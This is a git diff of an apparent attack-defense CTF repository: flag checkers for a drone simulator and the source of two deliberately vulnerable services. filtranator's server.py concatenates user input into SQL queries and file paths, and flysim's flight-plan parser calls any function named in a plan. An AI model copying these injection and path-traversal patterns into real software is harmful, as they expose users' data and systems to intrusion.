drone_obj = client.wait_for_data_msg(timeout=30)
|
||||
for _ in range(5):
|
||||
if vel == drone_obj["velocity"]:
|
||||
break
|
||||
drone_obj = client.wait_for_data_msg(timeout=30)
|
||||
|
||||
self.assert_eq(
|
||||
vel, drone_obj["velocity"], "Incorrect velocity handling", Status.CORRUPT
|
||||
)
|
||||
|
||||
drone_obj_via_httpapi = client.get_drones_with_details(
|
||||
json.dumps([{"$match": {"label": label}}])
|
||||
)[0]
|
||||
self.assert_eq(
|
||||
drone_obj_via_httpapi["label"],
|
||||
label,
|
||||
"Incorrect HTTP API response",
|
||||
Status.CORRUPT,
|
||||
)
|
||||
self.assert_eq(
|
||||
drone_obj_via_httpapi["velocity"],
|
||||
vel,
|
||||
"Incorrect HTTP API response",
|
||||
Status.CORRUPT,
|
||||
)
|
||||
self.assert_eq(
|
||||
drone_obj_via_httpapi["id"],
|
||||
drone_obj["id"],
|
||||
"Incorrect HTTP API response",
|
||||
Status.CORRUPT,
|
||||
)
|
||||
|
||||
self.cquit(Status.OK)
|
||||
|
||||
def put(self, flag_id: str, flag: str, vuln: str):
|
||||
fp = "\n".join(random_flight_plan.generate_plan(4, 7))
|
||||
client = drone_client.DroneClient(ip=self.host)
|
||||
client.create_drone(
|
||||
label=generate_random_datastring(random.randint(10, 30)),
|
||||
secret_data=flag,
|
||||
flight_plan=fp,
|
||||
)
|
||||
self.cquit(
|
||||
Status.OK,
|
||||
f"{client.drone_id}",
|
||||
json.dumps(
|
||||
{
|
||||
"drone_id": client.drone_id,
|
||||
"control_key": client.control_key,
|
||||
"flight_plan": fp,
|
||||
}
|
||||
),
|
||||
)
|
||||
|
||||
def get(self, flag_id: str, flag: str, vuln: str):
|
||||
# print('get FLAG by!', flag_id, '!!<-id')
|
||||
drone = json.loads(flag_id)
|
||||
|
||||
if vuln == "1":
|
||||
client = drone_client.DroneClient(ip=self.host)
|
||||
client.drone_id = drone["drone_id"]
|
||||
client.control_key = drone["control_key"]
|
||||
client.connect_to_drone()
|
||||
|
||||
drone_obj = client.wait_for_data_msg(timeout=30)
|
||||
expected_fl = random_flight_plan.get_expected_flight_log(
|
||||
drone["flight_plan"], drone_obj["cur_time"], drone_obj
|
||||
)
|
||||
real_fl = drone_obj["flight_log"]
|
||||
self.assert_eq(
|
||||
sorted(expected_fl.split("\n")),
|
||||
sorted(real_fl.split("\n")),
|
||||
"Incorrect flight log",
|
||||
Status.CORRUPT,
|
||||
)
|
||||
self.assert_eq(
|
||||
flag, drone_obj["secret_data"], "Incorrect flag", Status.CORRUPT
|
||||
)
|
||||
|
||||
self.cquit(Status.OK)
|
||||
|
||||
|
||||
# if __name__ == '__main__':
|
||||
# c = Checker("127.0.0.1")
|
||||
# try:
|
||||
# c.action("put", "", "TestFLAG234Fofkdjfn", "1")
|
||||
# c.action("get",r'{"drone_id": "6756e4e9fb6b9f5011e88fa8", "control_key": "c3ff78e2", "flight_plan": "7 BOOSTY [drone] 1\n7 BOOSTX [drone] -1\n7 BOOSTX [drone] -2\n13 BOOSTY [drone] 2\n5 BOOSTY [drone] -1\n10 BOOSTY [drone] 2\n10 FIRE [drone]"}', "TestFLAG234Fofkdjfn", "1")
|
||||
# c.action("check")
|
||||
# except c.get_check_finished_exception():
|
||||
# cquit(Status(c.status), c.public, c.private)
|
||||
if __name__ == "__main__":
|
||||
c = Checker(sys.argv[2])
|
||||
try:
|
||||
c.action(sys.argv[1], *sys.argv[3:])
|
||||
except c.get_check_finished_exception():
|
||||
cquit(Status(c.status), c.public, c.private)
|
||||
132
ctfcup24-school-ad/checkers/flysim/drone_client.py
Normal file
132
ctfcup24-school-ad/checkers/flysim/drone_client.py
Normal file
@@ -0,0 +1,132 @@
|
||||
import socketio
|
||||
import requests
|
||||
import time
|
||||
import json
|
||||
from threading import Event
|
||||
|
||||
|
||||
def print(*args, **kwargs):
|
||||
pass # disable print
|
||||
|
||||
|
||||
class DroneClient:
|
||||
def __init__(self, ip="127.0.0.1"):
|
||||
sio = socketio.Client()
|
||||
self.base_url = f"http://{ip}:9000/"
|
||||
self.sio = sio
|
||||
|
||||
self.drone_id = None
|
||||
self.control_key = None
|
||||
self.data_received_event = Event()
|
||||
self.last_received_data = None
|
||||
|
||||
self.velocity_updated_event = Event()
|
||||
self.last_received_veldata = None
|
||||
|
||||
self.position_updated_event = Event()
|
||||
self.last_received_posdata = None
|
||||
|
||||
@sio.on("connect")
|
||||
def on_connect():
|
||||
print("Connected to server")
|
||||
|
||||
@sio.on("disconnect")
|
||||
def on_disconnect():
|
||||
print("Disconnected from server")
|
||||
|
||||
@sio.on("drone_connected")
|
||||
def on_drone_connected(data):
|
||||
print(f"Drone connection status: {data['data']}")
|
||||
|
||||
@sio.on("data_updated")
|
||||
def on_data_updated(data):
|
||||
if isinstance(data, dict):
|
||||
self.last_received_data = data
|
||||
self.data_received_event.set()
|
||||
|
||||
@sio.on("velocity_updated")
|
||||
def on_velocity_updated(data):
|
||||
if isinstance(data, dict):
|
||||
self.last_received_veldata = data
|
||||
self.velocity_updated_event.set()
|
||||
|
||||
@sio.on("position_updated")
|
||||
def on_position_updated(data):
|
||||
if isinstance(data, dict):
|
||||
self.last_received_posdata = data
|
||||
self.position_updated_event.set()
|
||||
|
||||
@sio.on("error")
|
||||
def on_error(data):
|
||||
print(f"Error: {data['data']}")
|
||||
|
||||
def wait_for_data_msg(self, timeout=None):
|
||||
self.data_received_event.clear()
|
||||
if self.data_received_event.wait(timeout):
|
||||
return self.last_received_data
|
||||
return None
|
||||
|
||||
def wait_for_vel_msg(self, timeout=None):
|
||||
self.velocity_updated_event.clear()
|
||||
if self.velocity_updated_event.wait(timeout):
|
||||
return self.last_received_veldata
|
||||
return None
|
||||
|
||||
def wait_for_pos_msg(self, timeout=None):
|
||||
self.position_updated_event.clear()
|
||||
if self.position_updated_event.wait(timeout):
|
||||
return self.last_received_posdata
|
||||
return None
|
||||
|
||||
def create_drone(self, label=None, secret_data=None, flight_plan=None):
|
||||
response = requests.post(
|
||||
f"{self.base_url}/create_drone",
|
||||
timeout=8000,
|
||||
json={}
|
||||
| ({"label": label} if label else {})
|
||||
| ({"secret_data": secret_data} if secret_data else {})
|
||||
| ({"flight_plan": flight_plan} if flight_plan else {}),
|
||||
)
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
self.drone_id = data["id"]
|
||||
self.control_key = data["control_key"]
|
||||
print(
|
||||
f"Created drone with ID: {self.drone_id}, control key: {self.control_key}"
|
||||
)
|
||||
return True
|
||||
else:
|
||||
print(f"Failed to create drone: {response.text}")
|
||||
return False
|
||||
|
||||
def get_all_drones(self):
|
||||
response = requests.get(f"{self.base_url}/get_drones")
|
||||
print("All drones:", response.json())
|
||||
|
||||
def get_drones_with_details(self, with_what_details):
|
||||
response = requests.get(f"{self.base_url}/get_drones?with={with_what_details}")
|
||||
return response.json()
|
||||
|
||||
def connect_to_drone(self):
|
||||
try:
|
||||
self.sio.connect(self.base_url, socketio_path="/socket.io")
|
||||
self.sio.emit(
|
||||
"join_drone",
|
||||
{"drone_id": self.drone_id, "control_key": self.control_key},
|
||||
)
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"Connection error: {e}")
|
||||
return False
|
||||
|
||||
def update_position(self, position):
|
||||
self.sio.emit("set_position", {"drone_id": self.drone_id, "position": position})
|
||||
|
||||
def update_velocity(self, velocity):
|
||||
self.sio.emit("set_velocity", {"drone_id": self.drone_id, "velocity": velocity})
|
||||
|
||||
def disconnect(self):
|
||||
try:
|
||||
self.sio.disconnect()
|
||||
except Exception as e:
|
||||
print(f"Disconnection error: {e}")
|
||||
88
ctfcup24-school-ad/checkers/flysim/random_flight_plan.py
Normal file
88
ctfcup24-school-ad/checkers/flysim/random_flight_plan.py
Normal file
@@ -0,0 +1,88 @@
|
||||
import random
|
||||
|
||||
|
||||
def print(*args, **kwargs):
|
||||
pass # disable print
|
||||
|
||||
|
||||
def BOOSTX(drone, value):
|
||||
drone["velocity"][0] += value
|
||||
return f"Drone {drone['id']} boosted at X axis by {value}!"
|
||||
|
||||
|
||||
def BOOSTY(drone, value):
|
||||
drone["velocity"][1] += value
|
||||
return f"Drone {drone['id']} boosted at Y axis by {value}!"
|
||||
|
||||
|
||||
def FIRE(drone):
|
||||
return f"Drone {drone['id']} fired!"
|
||||
|
||||
|
||||
def SETFREQ(drone, frequency):
|
||||
return f"Drone {drone['id']} freq set to {frequency}!"
|
||||
|
||||
|
||||
def get_expected_flight_log(flight_plan, curr_time, drone):
|
||||
new_log = ""
|
||||
|
||||
commands = flight_plan.split("\n")
|
||||
for command in commands:
|
||||
if not command.strip():
|
||||
continue
|
||||
|
||||
parts = command.split()
|
||||
if len(parts) == 0:
|
||||
continue
|
||||
|
||||
expected_time = int(parts[0])
|
||||
if not (curr_time > expected_time or abs(curr_time - expected_time) < 0.2):
|
||||
continue
|
||||
|
||||
command_name = parts[1]
|
||||
args = parts[2:]
|
||||
func = globals().get(command_name)
|
||||
if func and callable(func):
|
||||
try:
|
||||
typed_args = []
|
||||
if len(args) > 0 and args[0] == "[drone]":
|
||||
typed_args.append(drone)
|
||||
args = args[1:]
|
||||
|
||||
typed_args.extend(
|
||||
[
|
||||
int(arg) if arg.replace("-", "", 1).isdigit() else arg
|
||||
for arg in args
|
||||
]
|
||||
)
|
||||
new_log += str(func(*typed_args)) + "\n"
|
||||
except Exception as e:
|
||||
print(f"Error calling {command_name}: {e}", flush=True)
|
||||
else:
|
||||
print(f"Unknown command: {command_name}", flush=True)
|
||||
return new_log
|
||||
|
||||
|
||||
def generate_plan(min_count, max_count):
|
||||
num_commands = random.randint(min_count, max_count)
|
||||
commands = []
|
||||
|
||||
for _ in range(num_commands):
|
||||
command_type = random.choice(["BOOSTX", "BOOSTY", "FIRE", "SETFREQ"])
|
||||
|
||||
if command_type == "BOOSTX":
|
||||
commands.append(
|
||||
f"{random.randint(0, 8)} BOOSTX [drone] {random.randint(-2, 2)}"
|
||||
)
|
||||
elif command_type == "BOOSTY":
|
||||
commands.append(
|
||||
f"{random.randint(0, 8)} BOOSTY [drone] {random.randint(-2, 2)}"
|
||||
)
|
||||
elif command_type == "FIRE":
|
||||
commands.append(f"{random.randint(0, 8)} FIRE [drone]")
|
||||
else:
|
||||
commands.append(
|
||||
f"{random.randint(0, 8)} SETFREQ [drone] {random.randint(10, 100)}"
|
||||
)
|
||||
|
||||
return commands
|
||||
4
ctfcup24-school-ad/checkers/flysim/requirements.txt
Normal file
4
ctfcup24-school-ad/checkers/flysim/requirements.txt
Normal file
@@ -0,0 +1,4 @@
|
||||
requests==2.32.3
|
||||
python-socketio==5.11.4
|
||||
checklib==0.7.0
|
||||
websocket-client==1.8.0
|
||||
6
ctfcup24-school-ad/checkers/requirements.txt
Normal file
6
ctfcup24-school-ad/checkers/requirements.txt
Normal file
@@ -0,0 +1,6 @@
|
||||
requests==2.32.3
|
||||
python-socketio==5.11.4
|
||||
websocket-client==1.8.0
|
||||
checklib==0.7.0
|
||||
pillow == 11
|
||||
pytesseract
|
||||
2
ctfcup24-school-ad/requirements.txt
Normal file
2
ctfcup24-school-ad/requirements.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
PyYAML==6.0.1
|
||||
dockerfile-parse==1.2.0
|
||||
11
ctfcup24-school-ad/services/filtranator/cleaner/Dockerfile
Normal file
11
ctfcup24-school-ad/services/filtranator/cleaner/Dockerfile
Normal file
@@ -0,0 +1,11 @@
|
||||
FROM ubuntu:20.04
|
||||
|
||||
RUN useradd --no-create-home --shell /bin/false --uid 1000 --user-group cleaner
|
||||
|
||||
COPY cleaner.sh /var/cleaner.sh
|
||||
|
||||
RUN chmod +x /var/cleaner.sh
|
||||
|
||||
RUN mkdir /tmp/data
|
||||
|
||||
ENTRYPOINT ["/var/cleaner.sh"]
|
||||
13
ctfcup24-school-ad/services/filtranator/cleaner/cleaner.sh
Normal file
13
ctfcup24-school-ad/services/filtranator/cleaner/cleaner.sh
Normal file
@@ -0,0 +1,13 @@
|
||||
#!/bin/sh
|
||||
|
||||
while true; do
|
||||
date -uR
|
||||
|
||||
find "/tmp/data/" \
|
||||
-type d \
|
||||
-and -not -path "/tmp/data/" \
|
||||
-and -not -newermt "-900 seconds" \
|
||||
-exec rm -r {} +
|
||||
|
||||
sleep 60
|
||||
done
|
||||
4
ctfcup24-school-ad/services/filtranator/db/Dockerfile
Normal file
4
ctfcup24-school-ad/services/filtranator/db/Dockerfile
Normal file
@@ -0,0 +1,4 @@
|
||||
FROM postgres
|
||||
ENV TZ=Europe/Moscow
|
||||
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
|
||||
COPY db.sql /docker-entrypoint-initdb.d/database.sql
|
||||
6
ctfcup24-school-ad/services/filtranator/db/db.sql
Normal file
6
ctfcup24-school-ad/services/filtranator/db/db.sql
Normal file
@@ -0,0 +1,6 @@
|
||||
CREATE TABLE Users (
|
||||
username VARCHAR(256) NOT NULL,
|
||||
password VARCHAR(256) NOT NULL
|
||||
);
|
||||
|
||||
INSERT INTO Users (username,password) VALUES ('Test','Test')
|
||||
52
ctfcup24-school-ad/services/filtranator/docker-compose.yml
Normal file
52
ctfcup24-school-ad/services/filtranator/docker-compose.yml
Normal file
@@ -0,0 +1,52 @@
|
||||
services:
|
||||
filtranator:
|
||||
build: server/
|
||||
restart: unless-stopped
|
||||
networks:
|
||||
- filtranator_local
|
||||
volumes:
|
||||
- cleanx:/app/images
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
cpus: 1
|
||||
memory: 500M
|
||||
ports:
|
||||
- "6969:6969"
|
||||
cleaner:
|
||||
container_name: cleaner
|
||||
build: cleaner
|
||||
cpus: 0.25
|
||||
pids_limit: 128
|
||||
mem_limit: 128M
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- cleanx:/tmp/data
|
||||
depends_on:
|
||||
- filtranator
|
||||
db:
|
||||
container_name: db
|
||||
build: db/
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
POSTGRES_USER: postgres
|
||||
POSTGRES_DB: Users
|
||||
POSTGRES_PASSWORD: password
|
||||
PGDATA: /data/postgres
|
||||
networks:
|
||||
- filtranator_local
|
||||
volumes:
|
||||
- postgres:/data/postgres
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
cpus: 1
|
||||
memory: 500M
|
||||
|
||||
|
||||
networks:
|
||||
filtranator_local: {}
|
||||
|
||||
volumes:
|
||||
cleanx: {}
|
||||
postgres: {}
|
||||
18
ctfcup24-school-ad/services/filtranator/server/Dockerfile
Normal file
18
ctfcup24-school-ad/services/filtranator/server/Dockerfile
Normal file
@@ -0,0 +1,18 @@
|
||||
FROM ubuntu:24.04
|
||||
|
||||
RUN apt-get update
|
||||
RUN apt-get install -y python3 pip libpq-dev iproute2 netcat-traditional
|
||||
RUN useradd -m ctf
|
||||
RUN mkdir /app
|
||||
WORKDIR /app
|
||||
|
||||
COPY ./ /app
|
||||
RUN chmod +x ./server.py
|
||||
RUN chmod +x ./filterer/filterer
|
||||
RUN pip3 install -r ./requirements.txt --break-system-packages
|
||||
RUN chown -R ctf:ctf /app/images
|
||||
RUN chown -R ctf:ctf /app
|
||||
USER ctf
|
||||
|
||||
EXPOSE 6969
|
||||
CMD ./server.py
|
||||
31
ctfcup24-school-ad/services/filtranator/server/app/db.py
Normal file
31
ctfcup24-school-ad/services/filtranator/server/app/db.py
Normal file
@@ -0,0 +1,31 @@
|
||||
#!/usr/bin/python3
|
||||
import psycopg2
|
||||
import sys
|
||||
|
||||
class LocalDb:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def connect(self,conn_string):
|
||||
#try:
|
||||
self.conn = psycopg2.connect(
|
||||
conn_string
|
||||
)
|
||||
#except Exception as e:
|
||||
#print(e)
|
||||
|
||||
def execute(self, command):
|
||||
cursor = self.conn.cursor()
|
||||
#try:
|
||||
cursor.execute(command)
|
||||
try:
|
||||
result = cursor.fetchall()
|
||||
except Exception as e:
|
||||
print(e,file=sys.stderr)
|
||||
result = []
|
||||
#cursor.close()
|
||||
return result
|
||||
|
||||
def disconnect(self):
|
||||
self.conn.cursor.close()
|
||||
self.conn.close()
|
||||
BIN
ctfcup24-school-ad/services/filtranator/server/filterer/filterer
Executable file
BIN
ctfcup24-school-ad/services/filtranator/server/filterer/filterer
Executable file
Binary file not shown.
@@ -0,0 +1,2 @@
|
||||
flask
|
||||
psycopg2
|
||||
176
ctfcup24-school-ad/services/filtranator/server/server.py
Executable file
176
ctfcup24-school-ad/services/filtranator/server/server.py
Executable file
@@ -0,0 +1,176 @@
|
||||
#!/usr/bin/python3
|
||||
from flask import (
|
||||
Flask,
|
||||
redirect,
|
||||
url_for,
|
||||
request,
|
||||
make_response,
|
||||
render_template_string,
|
||||
render_template,
|
||||
abort,
|
||||
)
|
||||
from app.db import LocalDb
|
||||
import os
|
||||
import string
|
||||
import random
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
appx = Flask(__name__)
|
||||
|
||||
|
||||
def generate_cock():
|
||||
letters = string.ascii_lowercase
|
||||
return "".join(random.choice(letters) for i in range(32))
|
||||
|
||||
|
||||
def db_conn():
|
||||
mydb = LocalDb()
|
||||
conn_string = "host='db' dbname = 'Users' user='postgres' password = 'password'"
|
||||
mydb.connect(conn_string)
|
||||
return mydb
|
||||
|
||||
|
||||
@appx.route("/")
|
||||
def redir():
|
||||
return redirect(url_for("login"))
|
||||
|
||||
|
||||
@appx.route("/register", methods=["GET", "POST"])
|
||||
def register():
|
||||
if request.method == "GET":
|
||||
return render_template("register.html")
|
||||
else:
|
||||
name = request.form["username"]
|
||||
password = request.form["password"]
|
||||
|
||||
if name != "" and password != "":
|
||||
# mydb = db_conn()
|
||||
# try:
|
||||
result = mydb.execute(
|
||||
"SELECT * FROM Users WHERE username='" + name + "';")
|
||||
print(result, file=sys.stderr)
|
||||
if result != []:
|
||||
return "<p1>User alredy exist</p1>"
|
||||
print(name, file=sys.stderr)
|
||||
mydb.execute(
|
||||
"INSERT INTO Users (username,password) VALUES ('"
|
||||
+ name
|
||||
+ "','"
|
||||
+ password
|
||||
+ "');"
|
||||
)
|
||||
if not os.path.isdir("./images/" + name):
|
||||
os.mkdir("./images/" + name)
|
||||
return "<p1>Sucessfully registered<p1>"
|
||||
# except Exception as e:
|
||||
# return "Exception"
|
||||
return "<p1>Vvedi normalniye credi ti che</p1>"
|
||||
|
||||
|
||||
@appx.route("/login", methods=["GET", "POST"])
|
||||
def login():
|
||||
global logged_users
|
||||
if request.method == "GET":
|
||||
return render_template("login.html")
|
||||
else:
|
||||
print("Login entered...")
|
||||
name = request.form["username"]
|
||||
password = request.form["password"]
|
||||
if name != "" and password != "":
|
||||
if name in logged_users.values():
|
||||
return "<p1>Already logged in</p1>"
|
||||
# mydb = db_conn()
|
||||
# try:
|
||||
result = mydb.execute(
|
||||
"SELECT * FROM Users WHERE username='"
|
||||
+ name
|
||||
+ "' AND password='"
|
||||
+ password
|
||||
+ "';"
|
||||
)
|
||||
if result == []:
|
||||
abort(404)
|
||||
cock = generate_cock()
|
||||
if len(logged_users) > 10000:
|
||||
logged_users = {}
|
||||
logged_users[cock] = name
|
||||
resp = make_response(
|
||||
render_template_string("<p1>Sucessfully logged in<p1>")
|
||||
)
|
||||
resp.set_cookie("token", cock)
|
||||
return resp
|
||||
# except Exception as e:
|
||||
# return "Exeception"
|
||||
return render_template_string("<p1>Vvedi normalniye credi ti che<p1>")
|
||||
|
||||
|
||||
@appx.route("/logout", methods=["GET"])
|
||||
def logout():
|
||||
cock = request.cookies.get("token")
|
||||
if cock is None:
|
||||
abort(401)
|
||||
elif logged_users.get(cock) is None:
|
||||
abort(401)
|
||||
del logged_users[cock]
|
||||
return "<p1>Sucessfully logout</p1>"
|
||||
|
||||
|
||||
@appx.route("/images", methods=["GET"])
|
||||
def get_images():
|
||||
cock = request.cookies.get("token")
|
||||
if cock is None:
|
||||
abort(401)
|
||||
elif logged_users.get(cock) is None:
|
||||
abort(401)
|
||||
usr = logged_users.get(cock)
|
||||
path = "./images/" + usr
|
||||
onlyfiles = [f for f in os.listdir(
|
||||
path) if os.path.isfile(os.path.join(path, f))]
|
||||
if len(onlyfiles) < 1:
|
||||
return "<p1>No images</p1>"
|
||||
img = onlyfiles[0]
|
||||
image_binary = open("./images/" + usr + "/" + img, "rb").read()
|
||||
response = make_response(image_binary)
|
||||
response.headers.set("Content-Type", "image/png")
|
||||
response.headers.set("Content-Disposition",
|
||||
"attachment", filename="%s.png" % img)
|
||||
return response
|
||||
|
||||
|
||||
@appx.route("/apply_filter", methods=["GET", "POST"])
|
||||
def filtrate():
|
||||
cock = request.cookies.get("token")
|
||||
if cock is None:
|
||||
abort(401)
|
||||
elif logged_users.get(cock) is None:
|
||||
abort(401)
|
||||
if request.method == "GET":
|
||||
return render_template("apply_filter.html")
|
||||
else:
|
||||
filter_name = request.form["filter"]
|
||||
filename = request.form["filename"]
|
||||
imagefile = request.files.get("image", "")
|
||||
print(imagefile,file=sys.stderr)
|
||||
if imagefile is None:
|
||||
return "<p1>Undefined</p1>"
|
||||
usr = logged_users.get(cock)
|
||||
if filename == "":
|
||||
return "<p1>Undefined filename</p1>"
|
||||
imagefile.save("./images/" + usr + "/" + filename)
|
||||
path = "./images/" + usr + "/" + filename
|
||||
if filter_name == "black":
|
||||
subprocess.Popen(["./filterer/filterer", path, "black"])
|
||||
return "<p1>Image blacked</p1>"
|
||||
elif filter_name == "none":
|
||||
return "<p1>Image saved</p1>"
|
||||
return "<p1>Undefined</p1>"
|
||||
|
||||
|
||||
global logged_users
|
||||
global mydb
|
||||
|
||||
if __name__ == "__main__":
|
||||
mydb = db_conn()
|
||||
logged_users = {}
|
||||
appx.run(host="0.0.0.0", port=6969)
|
||||
@@ -0,0 +1,24 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Apply filter</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<main id="main-holder">
|
||||
<h1 id="login-header">Filtranator</h1>
|
||||
|
||||
<form id="login-form" method = "POST" enctype="multipart/form-data">
|
||||
<input type="filter" name="filter" id="username-field" class="login-form-field" placeholder="filter" method = "POST">
|
||||
<input type="filename" name="filename" id="password-field" class="login-form-field" placeholder="filename" method = "POST">
|
||||
<input type="file" id="image" name="image">
|
||||
<input type="submit" value="Uplooad" id="login-form-submit">
|
||||
</form>
|
||||
|
||||
</main>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<!DOCTYPE HTML>
|
||||
<html>
|
||||
images
|
||||
</html>
|
||||
@@ -0,0 +1,23 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Login</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<main id="main-holder">
|
||||
<h1 id="login-header">Filtranator</h1>
|
||||
|
||||
<form id="login-form" method = "POST">
|
||||
<input type="text" name="username" id="username-field" class="login-form-field" placeholder="Username" method = "POST">
|
||||
<input type="password" name="password" id="password-field" class="login-form-field" placeholder="Password" method = "POST">
|
||||
<input type="submit" value="Login" id="login-form-submit">
|
||||
</form>
|
||||
|
||||
</main>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,23 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Register</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<main id="main-holder">
|
||||
<h1 id="login-header">Filtranator</h1>
|
||||
|
||||
<form id="login-form" method = "POST">
|
||||
<input type="text" name="username" id="username-field" class="login-form-field" placeholder="Username" method = "POST">
|
||||
<input type="password" name="password" id="password-field" class="login-form-field" placeholder="Password" method = "POST">
|
||||
<input type="submit" value="Login" id="login-form-submit">
|
||||
</form>
|
||||
|
||||
</main>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
27
ctfcup24-school-ad/services/flysim/docker-compose.yml
Normal file
27
ctfcup24-school-ad/services/flysim/docker-compose.yml
Normal file
@@ -0,0 +1,27 @@
|
||||
services:
|
||||
flysim:
|
||||
restart: always
|
||||
build: ./flysim
|
||||
ports:
|
||||
- "9000:9001"
|
||||
depends_on:
|
||||
- flysim-mongo
|
||||
environment:
|
||||
- MONGO_URI=mongodb://flysim-mongo:27017/mydatabase
|
||||
- LD_LIBRARY_PATH=/root/.codon/lib/codon
|
||||
# command: gunicorn -k gevent -w 1 --log-level debug -b 0.0.0.0:9001 server:app
|
||||
command: gunicorn -k gevent -w 1 -b 0.0.0.0:9001 server:app
|
||||
mem_limit: 2048m
|
||||
cpu_count: 1
|
||||
|
||||
flysim-mongo:
|
||||
restart: always
|
||||
image: mongo:latest
|
||||
volumes:
|
||||
- mongodb_data:/data/db
|
||||
mem_limit: 1024m
|
||||
cpu_count: 1
|
||||
|
||||
volumes:
|
||||
mongodb_data:
|
||||
|
||||
11
ctfcup24-school-ad/services/flysim/flysim/Dockerfile
Normal file
11
ctfcup24-school-ad/services/flysim/flysim/Dockerfile
Normal file
@@ -0,0 +1,11 @@
|
||||
FROM python:3.12.7-bookworm
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY requirements.txt .
|
||||
RUN pip install --no-cache-dir -r requirements.txt
|
||||
|
||||
COPY install_codon_v0.17.0.sh .
|
||||
RUN yes y | bash install_codon_v0.17.0.sh
|
||||
|
||||
COPY . .
|
||||
31
ctfcup24-school-ad/services/flysim/flysim/client/USAGE.txt
Normal file
31
ctfcup24-school-ad/services/flysim/flysim/client/USAGE.txt
Normal file
@@ -0,0 +1,31 @@
|
||||
create drone:
|
||||
./client create --ip 10.80.1.2
|
||||
|
||||
you can also specify label and (or) flight plan
|
||||
./client create --ip 10.80.1.2 --label asdf --flight-plan "1 BOOSTX [drone] 200\n55 BOOSTY [drone] 400\n"
|
||||
|
||||
connect:
|
||||
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f"
|
||||
|
||||
connect with setting position and (or) velocity:
|
||||
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --position 0 0 --velocity 1 2
|
||||
|
||||
by default, client keeps connection for 30 seconds. if you need more, add --duration:
|
||||
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --duration 9999
|
||||
|
||||
list drones (only ids):
|
||||
./client list-drones --ip 10.80.1.2
|
||||
|
||||
list drones (detailed):
|
||||
./client list-drones-details --ip 10.80.1.2
|
||||
|
||||
list details but only for one drone (by label):
|
||||
./client list-drones-details --ip 10.80.1.2 --label p4MUiB5oEF5EHAnkMefO8
|
||||
|
||||
do not forget to use --help:
|
||||
|
||||
./client --help
|
||||
./client create --help
|
||||
./client connect --help
|
||||
./client list-drones --help
|
||||
./client list-drones-details --help
|
||||
BIN
ctfcup24-school-ad/services/flysim/flysim/client/client
Executable file
BIN
ctfcup24-school-ad/services/flysim/flysim/client/client
Executable file
Binary file not shown.
BIN
ctfcup24-school-ad/services/flysim/flysim/client/client_static
Executable file
BIN
ctfcup24-school-ad/services/flysim/flysim/client/client_static
Executable file
Binary file not shown.
77
ctfcup24-school-ad/services/flysim/flysim/flight_plans.py
Normal file
77
ctfcup24-school-ad/services/flysim/flysim/flight_plans.py
Normal file
@@ -0,0 +1,77 @@
|
||||
import misc
|
||||
|
||||
get_var = misc.get_var
|
||||
set_vars = misc.set_vars
|
||||
|
||||
|
||||
def reinit():
|
||||
global get_var, set_vars
|
||||
get_var = misc.get_var
|
||||
set_vars = misc.set_vars
|
||||
|
||||
|
||||
def BOOSTX(drone, value):
|
||||
drone["velocity"][0] += value
|
||||
return f"Drone {drone['_id']} boosted at X axis by {value}!"
|
||||
|
||||
|
||||
def BOOSTY(drone, value):
|
||||
drone["velocity"][1] += value
|
||||
return f"Drone {drone['_id']} boosted at Y axis by {value}!"
|
||||
|
||||
|
||||
def FIRE(drone):
|
||||
return f"Drone {drone['_id']} fired!"
|
||||
|
||||
|
||||
def SETFREQ(drone, frequency):
|
||||
return f"Drone {drone['_id']} freq set to {frequency}!"
|
||||
|
||||
|
||||
def process_flight_plan(drone, curr_time):
|
||||
reinit()
|
||||
flight_plan = get_var(drone["_id"], "flight_plan")
|
||||
new_log = get_var(drone["_id"], "flight_log")
|
||||
|
||||
if not flight_plan:
|
||||
return
|
||||
|
||||
commands = flight_plan.split("\n")
|
||||
new_commands = ""
|
||||
|
||||
for command in commands:
|
||||
if not command.strip():
|
||||
continue
|
||||
|
||||
parts = command.split()
|
||||
if len(parts) == 0:
|
||||
continue
|
||||
|
||||
expected_time = int(parts[0])
|
||||
if not (curr_time > expected_time or abs(curr_time - expected_time) < 0.2):
|
||||
new_commands += command + "\n"
|
||||
continue
|
||||
|
||||
command_name = parts[1]
|
||||
args = parts[2:]
|
||||
func = globals().get(command_name)
|
||||
if func and callable(func):
|
||||
try:
|
||||
typed_args = []
|
||||
if len(args) > 0 and args[0] == "[drone]":
|
||||
typed_args.append(drone)
|
||||
args = args[1:]
|
||||
|
||||
typed_args.extend(
|
||||
[
|
||||
int(arg) if arg.replace("-", "", 1).isdigit() else arg
|
||||
for arg in args
|
||||
]
|
||||
)
|
||||
new_log += str(func(*typed_args)) + "\n"
|
||||
except Exception as e:
|
||||
print(f"Error calling {command_name}: {e}", flush=True)
|
